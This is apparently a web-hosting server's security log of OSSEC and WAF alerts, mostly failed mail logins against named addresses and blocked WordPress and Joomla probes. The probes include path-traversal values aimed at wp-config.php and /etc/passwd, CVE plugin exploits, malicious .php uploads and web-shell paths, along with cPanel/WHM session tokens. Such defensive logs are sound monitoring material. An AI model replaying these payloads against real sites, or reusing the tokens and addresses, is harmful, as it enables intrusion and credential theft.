2026-07-07 08:20:40 dovecot_login authenticator failed for H=(eth1.1172.vrrp.fw05.1739.la3.ml.zerolag.com) [65.20.134.97]:37218: 535 Incorrect authentication data (set_id=contact@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.171.41.105
country_id: 1733045
description:
2026-07-07 08:20:58 dovecot_login authenticator failed for H=(Dinamic-Tigo186-97-203-163.tigo.com.co) [183.171.41.105]:41110: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 152.42.225.238
country_id: 1880251
domain: metrodigitals.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.25||T:APACHE||SC:/home/metrodigitals/public_html/index.php||User:metrodigitals||WPU:||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.57.227.195
country_id: 1522867
description:
2026-07-07 08:21:14 dovecot_login authenticator failed for H=95.57.227.195.dynamic.telecom.kz ([213.230.65.53]) [95.57.227.195]:55140: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.212.9.122
country_id: 1835841
description:
2026-07-07 08:22:18 dovecot_login authenticator failed for H=([70.166.167.50]) [123.212.9.122]:55199: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77350307
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 176.123.8.39
country_id: 617790
domain: ahsmarine.com
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:trumpweiss||User:ahsmarine||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 176.123.8.39
country_id: 617790
domain: ahsmarine.com
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.25||T:APACHE||MV:/wp-json/wp/v2/users||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.227.215.90
country_id: 1269750
description:
2026-07-07 08:21:55 dovecot_login authenticator failed for H=([94.16.17.140]) [110.227.215.90]:48278: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.68.38.69
country_id: 298795
description:
2026-07-07 08:22:13 dovecot_login authenticator failed for H=([98.178.72.4]) [212.68.38.69]:50317: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: modsec
rule: 77896900
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 176.123.8.39
country_id: 617790
domain: ahsmarine.com
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:adminlin||User:ahsmarine||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.38.3.104
country_id: 2215636
description:
2026-07-07 08:22:40 dovecot_login authenticator failed for H=([49.124.152.248]) [102.38.3.104]:32835: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77896900
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 176.123.8.39
country_id: 617790
domain: ahsmarine.com
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:wpadminerlzp||User:ahsmarine||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77350307
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 176.123.8.39
country_id: 617790
domain: ahsmarine.com
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:wadminw@wordpress.com||User:ahsmarine||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77705892
name: IM360 WAF: Tracking doubtful fake-admin WordPress username (RBL-only)
abuser: 176.123.8.39
country_id: 617790
domain: ahsmarine.com
description:
IM360 WAF: Tracking doubtful fake-admin WordPress username (RBL-only)||MV:wwwadmin||MVN:ARGS:log||WPU:wwwadmin||User:ahsmarine||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 188.119.26.40
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jcea3npvfdx.xml.php||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.178.78
country_id: 1269750
description:
2026-07-07 08:26:19 dovecot_login authenticator failed for H=([186.215.107.189]) [182.95.178.78]:42306: 535 Incorrect authentication data (set_id=webmaster@idealloanz.com.au)


plugin: modsec
rule: 77141007
name: IM360 WAF: WordPress Plugin Duplicator File Download Auth Bypass (CVE-2020-11738)
abuser: 130.12.182.64
country_id: 3190538
domain: ahsmarine.com
description:
IM360 WAF: WordPress Plugin Duplicator File Download Auth Bypass (CVE-2020-11738)||MVN:ARGS:file||RSV:8.25||T:APACHE||MV:/../wp-config.php||


plugin: modsec
rule: 77140882
name: IM360 WAF: Infectors: OS File Access Attempt
abuser: 130.12.182.64
country_id: 3190538
domain: ahsmarine.com
description:
IM360 WAF: Infectors: OS File Access Attempt||MVN:ARGS:ajax_path||MV:/etc/passwd||RSV:8.25||T:APACHE||SC:/home/ahsmarine/public_html/wp-content/plugins/site-editor||


plugin: modsec
rule: 77899261
name: IM360 WAF: LFI vulnerability in the WP Ghost plugin (CVE-2025-26909)
abuser: 130.12.182.64
country_id: 3190538
domain: ahsmarine.com
description:
IM360 WAF: LFI vulnerability in the WP Ghost plugin (CVE-2025-26909)||WPU:||RSV:8.25||T:APACHE||MV:/wp-content/plugins/wordfence/lib/wordfenceClass.php?file=/../../../../../../etc/passwd||


plugin: modsec
rule: 77316755
name: IM360 WAF: Data leak in WordPress plugin Advanced Access Manager < 5.9.9
abuser: 130.12.182.64
country_id: 3190538
domain: ahsmarine.com
description:
IM360 WAF: Data leak in WordPress plugin Advanced Access Manager < 5.9.9||RSV:8.25||T:APACHE||ARGS.aam-media:wp-config.php||


plugin: modsec
rule: 77142247
name: IM360 WAF: Track WordPress WP Custom Pages 0.5.0.1 LFI
abuser: 130.12.182.64
country_id: 3190538
domain: ahsmarine.com
description:
IM360 WAF: Track WordPress WP Custom Pages 0.5.0.1 LFI||RSV:8.25||T:APACHE||MVN:REQUEST_FILENAME||MV:/wp-content/plugins/simple-image-manipulator/controller/download.php||


plugin: modsec
rule: 77232170
name: IM360 WAF: Directory traversal vulnerability in JSmol2WP plugin 1.07 for WordPress (CVE-2018-20462)
abuser: 130.12.182.64
country_id: 3190538
domain: ahsmarine.com
description:
IM360 WAF: Directory traversal vulnerability in JSmol2WP plugin 1.07 for WordPress (CVE-2018-20462)||MVN:REQUEST_FILENAME||MV:/wp-content/plugins/jsmol2wp/php/jsmol.php||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77226990
abuser: 130.12.182.64
country_id: 3190538
domain: ahsmarine.com
name:
IM360 WAF: Multiple Directory traversal vulnerabilities in Tera Charts (tera-charts) plugin 0.1 for WordPress (CVE-2014-4940)

description:
IM360 WAF: Multiple Directory traversal vulnerabilities in Tera Charts (tera-charts) plugin 0.1 for WordPress (CVE-2014-4940)||MVN:ARGS:fn||MV:../../../../wp-config.php||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77350312
name: IM360 WAF: Block system file path in request
abuser: 130.12.182.64
country_id: 3190538
domain: ahsmarine.com
description:
IM360 WAF: Block system file path in request||MVN:ARGS:file||MV:../../../../../../../wp-config.php||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.122.196.27
country_id: 1835841
description:
2026-07-07 08:29:20 dovecot_login authenticator failed for H=(syn-107-144-132-045.biz.spectrum.com) [222.122.196.27]:57397: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: modsec
rule: 77350217
name: IM360 WAF: Information Disclosure Attempt via WordPress themes
abuser: 130.12.182.64
country_id: 3190538
domain: ahsmarine.com
description:
IM360 WAF: Information Disclosure Attempt via WordPress themes||MV:../../../../wp-config.php||RSV:8.25||T:APACHE||REQUEST_URI:/wp-content/themes/churchope/lib/downloadlink.php?file=../../../../wp-config.php||


plugin: modsec
rule: 77141015
name: IM360 WAF: WordPress KenBurner Slider plugin unauthenticated arbitrary file download
abuser: 130.12.182.64
country_id: 3190538
domain: ahsmarine.com
description:
IM360 WAF: WordPress KenBurner Slider plugin unauthenticated arbitrary file download||RSV:8.25||T:APACHE||MVN:ARGS:img||MV:../wp-config.php||


plugin: modsec
rule: 77350218
name: IM360 WAF: Information Disclosure Attempt via WordPress plugins
abuser: 130.12.182.64
country_id: 3190538
domain: ahsmarine.com
description:
IM360 WAF: Information Disclosure Attempt via WordPress plugins||MV:../../../wp-config.php||RSV:8.25||T:APACHE||REQUEST_URI:/wp-content/plugins/recent-backups/download-file.php?file_link=../../../wp-config.php||


plugin: modsec
rule: 77350215
name: IM360 WAF: Information Disclosure Attempt in WordPress plugins
abuser: 130.12.182.64
country_id: 3190538
domain: ahsmarine.com
description:
IM360 WAF: Information Disclosure Attempt in WordPress plugins||MV:/wp-admin/admin-ajax.php?action=ave_publishPost&title=random&short=1&term=1&thumb=../wp-config.php||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77222050
abuser: 130.12.182.64
country_id: 3190538
domain: ahsmarine.com
name:
IM360 WAF: Directory traversal vulnerability in the Slider Revolution (revslider) plugin before 4.2 for WordPress (CVE-2014-9734)

description:
IM360 WAF: Directory traversal vulnerability in the Slider Revolution (revslider) plugin before 4.2 for WordPress (CVE-2014-9734)||MVN:REQUEST_FILENAME||MV:/wp-admin/admin-ajax.php||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.189.203.136
country_id: 1861060
domain: mail.ddgalaxy.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/wp-content/uploads/2021/02/index.php||SC:/home/ddgalaxy/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.32.197.160
country_id: 130758
description:
2026-07-07 08:30:12 dovecot_login authenticator failed for H=([183.11.220.66]) [89.32.197.160]:40022: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.228.97.97
country_id: 1835841
description:
2026-07-07 08:32:28 dovecot_login authenticator failed for H=([128.254.190.160]) [211.228.97.97]:36090: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.86.56.252
country_id: 1282988
domain: ogocindia.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ogocindia.com/maritime-sectors/provisions HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.115.237.19
country_id: 3923057
description:
2026-07-07 08:41:25 dovecot_login authenticator failed for H=(abts-mum-static-195.99.170.122.airtelbroadband.in) [181.115.237.19]:62559: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.230.226.175
country_id: 2661886
description:
2026-07-07 08:43:24 dovecot_login authenticator failed for H=90-230-226-175-no2550.tbcn.telia.com ([36.135.92.35]) [90.230.226.175]:33842: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.5.117.238
country_id: 1694008
description:
2026-07-07 08:43:40 dovecot_login authenticator failed for H=([192.34.164.13]) [210.5.117.238]:51593: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77469916
abuser: 188.119.26.40
country_id: 298795
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jcegmvw4gpf.xml.php||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 181.215.133.5
country_id: 3017382
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:galexbot-w5qkjumd.xml.php||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.12.212.38
country_id: 1835841
description:
2026-07-07 08:45:36 dovecot_login authenticator failed for H=(wsip-184-178-172-12.rn.hr.cox.net) [59.12.212.38]:57150: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.184.56.199
country_id: 1835841
description:
2026-07-07 08:46:08 dovecot_login authenticator failed for H=(nsg-corporate-130.221.187.122.airtel.in) [112.184.56.199]:47116: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.244.60.35
country_id: 1562822
description:
2026-07-07 08:46:13 dovecot_login authenticator failed for H=([98.170.57.251]) [171.244.60.35]:58316: 535 Incorrect authentication data (set_id=webmaster@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.179.93.199
country_id: 1269750
description:
2026-07-07 08:47:03 dovecot_login authenticator failed for H=([27.24.141.88]) [202.179.93.199]:59540: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.250.107.180
country_id: 1269750
description:
2026-07-07 08:47:14 dovecot_login authenticator failed for H=([221.161.142.77]) [117.250.107.180]:56341: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.84.54
country_id: 1269750
description:
2026-07-07 08:49:33 dovecot_login authenticator failed for H=([65.20.198.159]) [27.123.84.54]:49046: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.108.161
country_id: 1668284
description:
2026-07-07 08:50:41 dovecot_login authenticator failed for H=110-25-108-161.adsl.fetnet.net ([49.124.153.51]) [110.25.108.161]:35513: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.14.223.70
country_id: 3703430
description:
2026-07-07 08:51:29 dovecot_login authenticator failed for H=([192.252.216.83]) [190.14.223.70]:44867: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.135.208.32
country_id: 1861060
description:
2026-07-07 08:51:01 dovecot_login authenticator failed for H=([221.159.21.170]) [212.135.208.32]:56238: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.221.130
country_id: 1269750
description:
2026-07-07 08:51:14 dovecot_login authenticator failed for H=([182.74.216.125]) [122.187.221.130]:36314: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.168.241.32
country_id: 1269750
description:
2026-07-07 08:51:42 dovecot_login authenticator failed for H=(dynamic-ip-adsl.viettel.vn) [103.168.241.32]:37835: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.244.60.35
country_id: 1562822
description:
2026-07-07 08:58:14 dovecot_login authenticator failed for H=([49.124.151.10]) [171.244.60.35]:48216: 535 Incorrect authentication data (set_id=admin@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.39
country_id: 1668284
description:
2026-07-07 09:05:28 dovecot_login authenticator failed for H=([113.219.177.95]) [101.13.5.39]:54150: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.26
country_id: 1269750
description:
2026-07-07 09:06:20 dovecot_login authenticator failed for H=([77.41.156.64]) [182.95.181.26]:38688: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.70.157.25
country_id: 6252001
description:
2026-07-07 09:05:56 dovecot_login authenticator failed for H=(144.121.245.65.lightower.net) [152.70.157.25]:59296: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 69.48.202.178
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://maps.app.goo.gl/6GdPy1UhVL4ckzYHA\">Divorce Lawyer</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.152
country_id: 1835841
description:
2026-07-07 09:12:58 dovecot_login authenticator failed for H=(107-132-153-59.lightspeed.rcsntx.sbcglobal.net) [121.131.220.152]:51965: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.126.105.149
country_id: 3895114
description:
2026-07-07 09:13:40 dovecot_login authenticator failed for H=(atlanta-1.cdn77.com) [200.126.105.149]:2191: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 158.69.22.136
country_id: 6251999
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://quote.sinknews.it.com/\">bigtechoro</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.186.72.109
country_id: 1562822
domain: ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ahsmarine.com/business-gravity-img-4-1170x710/index.html HTTP/1.1||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 54.212.121.9
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/143.0.7499.4 Safari/537.36||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 170.239.150.15
country_id: 3996063
description:
2026-07-07 09:26:22 dovecot_login authenticator failed for H=([184.178.172.24]) [170.239.150.15]:60226: 535 Incorrect authentication data (set_id=webmaster@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.116.110
country_id: 1269750
description:
2026-07-07 09:27:16 dovecot_login authenticator failed for H=([199.116.114.10]) [122.187.116.110]:44642: 535 Incorrect authentication data (set_id=info@idealloanz.com.au)


plugin: ossec
rule: 11009
name: WHM login success
abuser: 223.181.13.36
country_id: 1269750
description:
[2026-07-07 09:27:32 +0530] info [whostmgrd] 223.181.13.36 NEW root:Rid7jyP1WdXvDoy5 address=223.181.13.36,app=whostmgrd,creator=root,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.54.165.138
country_id: 3686110
description:
2026-07-07 09:27:34 dovecot_login authenticator failed for H=([157.88.38.35]) [181.54.165.138]:58508: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.130.102.172
country_id: 1835841
description:
2026-07-07 09:28:43 dovecot_login authenticator failed for H=([182.90.248.108]) [125.130.102.172]:35005: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.171.113.2
country_id: 3624060
domain: www.fefkadirectorsunion.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.fefkadirectorsunion.com/ HTTP/1.1||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.80.90.45
country_id: 3378535
domain: www.ogocindia.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ogocindia.com/ HTTP/1.1||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 157.119.48.145
country_id: 1210997
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/templates/shaper_helixultimate/fonts/fa-solid-900.ttf HTTP/1.1||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 137.59.147.201
country_id: 1168579
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/templates/shaper_helixultimate/css/font-awesome.min.css HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 201.46.124.0
country_id: 3686110
description:
2026-07-07 09:44:44 dovecot_login authenticator failed for H=([14.54.22.11]) [201.46.124.0]:2623: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.152.82.108
country_id: 2264397
description:
2026-07-07 09:45:13 dovecot_login authenticator failed for H=a89-152-82-108.cpe.netcabo.pt (158.219.199.104.bc.googleusercontent.com) [89.152.82.108]:56560: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.36.7.196
country_id: 719819
description:
2026-07-07 09:46:07 dovecot_login authenticator failed for H=bc2407c4.catv.pool.telekom.hu ([125.19.171.114]) [188.36.7.196]:60638: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.248.4.146
country_id: 1835841
description:
2026-07-07 09:46:30 dovecot_login authenticator failed for H=([60.172.41.103]) [219.248.4.146]:41626: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.203.199.118
country_id: 1835841
description:
2026-07-07 09:48:18 dovecot_login authenticator failed for H=([219.144.16.16]) [175.203.199.118]:5252: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77469917
name: IM360 WAF: File upload on Joomla Content Editor JCE endpoint - tracking (CVE-2026-48907)
abuser: 152.42.225.238
country_id: 1880251
domain: www.metrodigitals.com
description:
IM360 WAF: File upload on Joomla Content Editor JCE endpoint - tracking (CVE-2026-48907)||MVN:FILES:file||MV:shxt.txt||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.98.104.138
country_id: 1562822
description:
2026-07-07 09:48:49 dovecot_login authenticator failed for H=(45-181-101-92.plugartelecom.net.br) [116.98.104.138]:48454: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.146.238.122
country_id: 2542007
description:
2026-07-07 09:50:27 dovecot_login authenticator failed for H=([142.54.236.102]) [154.146.238.122]:38476: 535 Incorrect authentication data (set_id=sales@idealloanz.com.au)


plugin: modsec
rule: 77469916
abuser: 181.215.133.5
country_id: 3017382
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:galexbot-2vamqr7n.xml.php||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 114.30.223.119
country_id: 1835841
description:
2026-07-07 09:53:28 dovecot_login authenticator failed for H=([210.13.99.68]) [114.30.223.119]:46841: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.147.248.23
country_id: 1269750
description:
2026-07-07 09:53:52 dovecot_login authenticator failed for H=([68.71.247.133]) [103.147.248.23]:51142: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.158.140.244
country_id: 1835841
description:
2026-07-07 09:55:48 dovecot_login authenticator failed for H=([183.56.238.70]) [221.158.140.244]:60272: 535 Incorrect authentication data (set_id=it@idealloanz.com.au)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 46.250.230.56
country_id: 1880251
domain: globalgroupoman.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/Nxploited_1783398440879.php||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.33.194
country_id: 1668284
description:
2026-07-07 09:58:58 dovecot_login authenticator failed for H=111-70-33-194.emome-ip.hinet.net ([70.166.167.47]) [111.70.33.194]:51412: 535 Incorrect authentication data (set_id=it@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.150.241.128
country_id: 2921044
description:
2026-07-07 09:59:15 dovecot_login authenticator failed for H=p5796f180.dip0.t-ipconnect.de ([197.219.228.242]) [87.150.241.128]:60995: 535 Incorrect authentication data (set_id=it)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.66.196.11
country_id: 2661886
description:
2026-07-07 09:59:31 dovecot_login authenticator failed for H=213-66-196-11-no2550.tbcn.telia.com ([182.139.39.150]) [213.66.196.11]:41308: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.213.229.43
country_id: 1512440
domain: www.ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ahsmarine.com/index.html HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 223.181.13.36
country_id: 1269750
description:
[2026-07-07 01:03:31 +0530] info [cpaneld] 223.181.13.36 NEW futuracarecom:4xWTTgdjdkyUPlu9 address=223.181.13.36,app=cpaneld,creator=futuracarecom,method=handle_form_login,path=loadsession:futuracarecom:KpgVWp7n16KqVLzA,possessed=1,possessor=root


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-07-07 02:22:13 +0530] info [whostmgrd] 45.198.224.5 - root "GET /cpsess6073980481/json-api/version HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11009
name: WHM login success
abuser: 223.181.13.36
country_id: 1269750
description:
[2026-07-07 01:03:30 +0530] info [whostmgrd] 223.181.13.36 NEW futuracarecom:KpgVWp7n16KqVLzA address=223.181.13.36,app=cpaneld,creator=root,method=handle_auth_transfer,path=xfercpanel


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 78.189.189.170
country_id: 298795
domain: stcinemas.co
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:72566.stcinemas.co||ServerName:stcinemas.co||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0f25933cebaebe4478ca47af0d86c525f766f8bb||Title:0x2b0e2a26||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 152.59.12.163
country_id: 1269750
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/wp-content/uploads/2013/03/Jamo-D-600-HCS-2-7.1.jpg HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.255.134
country_id: 1269750
description:
2026-07-07 10:18:12 dovecot_login authenticator failed for H=(104-182-1-92.lightspeed.chtnsc.sbcglobal.net) [125.23.255.134]:34110: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 31.223.75.233
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://www.symbaloo.com/mix/paperiounblocked2?lang=GB\">paper.io</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.147.118
country_id: 1733045
description:
2026-07-07 10:19:14 dovecot_login authenticator failed for H=([68.71.247.133]) [49.124.147.118]:35430: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.253.122
country_id: 1269750
description:
2026-07-07 10:18:49 dovecot_login authenticator failed for H=([114.30.223.119]) [128.185.253.122]:41978: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.174.170.34
country_id: 6252001
description:
2026-07-07 10:20:43 dovecot_login authenticator failed for H=(starik.Obninsk.ru) [70.174.170.34]:55710: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.66.196.11
country_id: 2661886
description:
